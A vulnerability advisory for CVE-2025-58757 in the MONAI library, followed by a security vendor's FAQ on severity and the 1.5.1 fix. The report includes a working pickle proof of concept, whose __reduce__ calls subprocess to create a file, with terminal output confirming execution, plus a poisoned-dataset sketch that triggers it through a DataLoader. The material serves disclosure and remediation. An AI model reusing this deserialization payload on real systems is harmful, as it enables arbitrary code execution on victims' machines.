CVE-2025-58757

To prevent this report from being deemed inapplicable or out of scope, due to the project's unique nature (for medical applications) and widespread popularity (6k+ stars), it's important to pay attention to some of the project's inherent security issues. (This is because medical professionals may not pay enough attention to security issues when using this project, leading to attacks on services or local machines.)

The pickle_operations function in monai/data/utils.py automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures.

When verified using the following proof-of-concept, arbitrary code execution can occur.

#Poc
from monai.data.utils import pickle_operations  

import pickle  
import subprocess  
  
class MaliciousPayload:  
    def __reduce__(self):    
        return (subprocess.call, (['touch', '/tmp/hacker1.txt'],))  
  
malicious_data = pickle.dumps(MaliciousPayload())

attack_data = {  
    'image': 'normal_image_data',  
    'label_transforms': malicious_data,  
    'metadata_transforms': malicious_data  
}

result = pickle_operations(attack_data, is_encode=False)  

#My /tmp directory contents before running the POC
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid

Before running the command, there was no hacker1.txt content in my /tmp directory, but after running the command, the command was executed, indicating that the attack was successful.

#Running Poc
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  selenium-managersXRcjF  supervisor.sock  supervisord.pid
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python r1.py 
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  hacker1.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid

The above proof-of-concept is merely a validation of the vulnerability.
The attacker creates malicious dataset content.

malicious_data = {
  'image': normal_image_tensor,
  'label': normal_label_tensor,
  'preprocessing_transforms': pickle.dumps(MaliciousPayload()), # Malicious payload
  'augmentation_transforms': pickle.dumps(MaliciousPayload()) # Multiple attack points
}

dataset = [malicious_data, ...]

When a user batch-processes data using MONAI's list_data_collate function, the system automatically calls pickle_operations to handle the serialization transformations.

from monai.data import list_data_collate

dataloader = DataLoader(
dataset,
batch_size=4,
collate_fn=list_data_collate # Trigger the vulnerability
)

# Automatically execute malicious code while traversing the data

for batch in dataloader:

# Malicious code is executed in pickle_operations

pass

When a user loads a serialized file from an external, untrusted source, the remote code execution (RCE) is triggered.

Repair suggestions

Verify the data source and content before deserializing, or use a safe deserialization method, which should have a similar fix in huggingface's transformer library.

Arbitrary code execution

Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect. Typical impact: arbitrary code execution or logic abuse.

CVE-2025-58757 has a CVSS score of 8.8 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.5.1); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2025-58757? CVE-2025-58757 is a high-severity insecure deserialization vulnerability in monai (pip), affecting versions <= 1.5.0. It is fixed in 1.5.1. Untrusted serialized data is processed by a deserializer that can instantiate arbitrary objects or execute code as a side effect.
2. How severe is CVE-2025-58757? CVE-2025-58757 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of monai are affected by CVE-2025-58757? monai (pip) versions <= 1.5.0 is affected.
4. Is there a fix for CVE-2025-58757? Yes. CVE-2025-58757 is fixed in 1.5.1. Upgrade to this version or later.
5. Is CVE-2025-58757 exploitable, and should I be worried? Whether CVE-2025-58757 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-58757 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-58757? Upgrade monai to 1.5.1 or later.